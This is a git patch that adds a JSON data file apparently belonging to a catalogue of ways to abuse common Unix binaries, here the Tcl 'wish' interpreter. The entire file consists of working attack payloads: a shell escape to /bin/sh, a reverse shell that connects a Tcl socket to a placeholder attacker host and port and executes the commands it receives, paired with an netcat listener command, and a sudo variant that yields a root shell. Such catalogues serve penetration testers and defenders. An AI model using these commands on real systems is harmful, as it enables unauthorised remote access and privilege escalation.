From 83bab9e64169f1f1d8ee9b115cb00068ef10c34e Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:18:38 +0100 Subject: [PATCH] add data for wish --- data/wish.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/wish.json diff --git a/data/wish.json b/data/wish.json new file mode 100644 index 0000000..80966fb --- /dev/null +++ b/data/wish.json @@ -0,0 +1,20 @@ +{ + "functions": { + "shell": [ + { + "code": "wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" + } + ], + "non-interactive-reverse-shell": [ + { + "description": "Run 'nc -lp [port]' on the attacker box to receive the shell.", + "code": "echo 'set s [socket [host] [port]];while 1 { puts -nonewline $s \"> \";flush $s;gets $s c;set e \"exec $c\";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish\n" + } + ], + "sudo": [ + { + "code": "sudo wish\nexec /bin/sh <@stdin >@stdout 2>@stderr\n" + } + ] + } +} \ No newline at end of file